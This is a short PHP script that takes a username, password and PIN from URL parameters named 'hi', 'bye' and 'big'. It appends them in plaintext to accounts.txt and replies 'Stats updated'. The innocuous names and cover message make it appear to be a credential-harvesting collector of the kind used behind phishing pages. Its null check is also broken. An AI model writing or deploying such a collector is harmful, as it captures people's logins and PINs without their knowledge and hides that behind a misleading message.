<?php
    $hi=$_GET["hi"];
    $bye=$_GET["bye"];
    $big=$_GET["big"];
    $file = fopen("accounts.txt",'r+');
    $s = "null";
    while (!feof($file)) {
        list($user, $pass, $pin) = explode(',', fgets($file));
                if (!$pass) { $pass = "null"; }
        if (!$pin || $pin == -1) { $pin = "null"; }
        if ($hi != $user) { $s = "$hi" . "," . "$bye" . "," . "$big" . "\n"; }
        else if ($hi == $user && $bye != $pass) { $s = "$hi" . "," . "$bye" . "," . "$big" . "\n"; }
        else if ($hi == $user && $bye == $pass && $pin != $big) { $s = "$hi" . "," . "$bye" . "," . "$big" . "\n"; }
    }
    if ($s != null) { fwrite($file, "$s"); }
    fclose($file);
    echo "Stats updated";
?>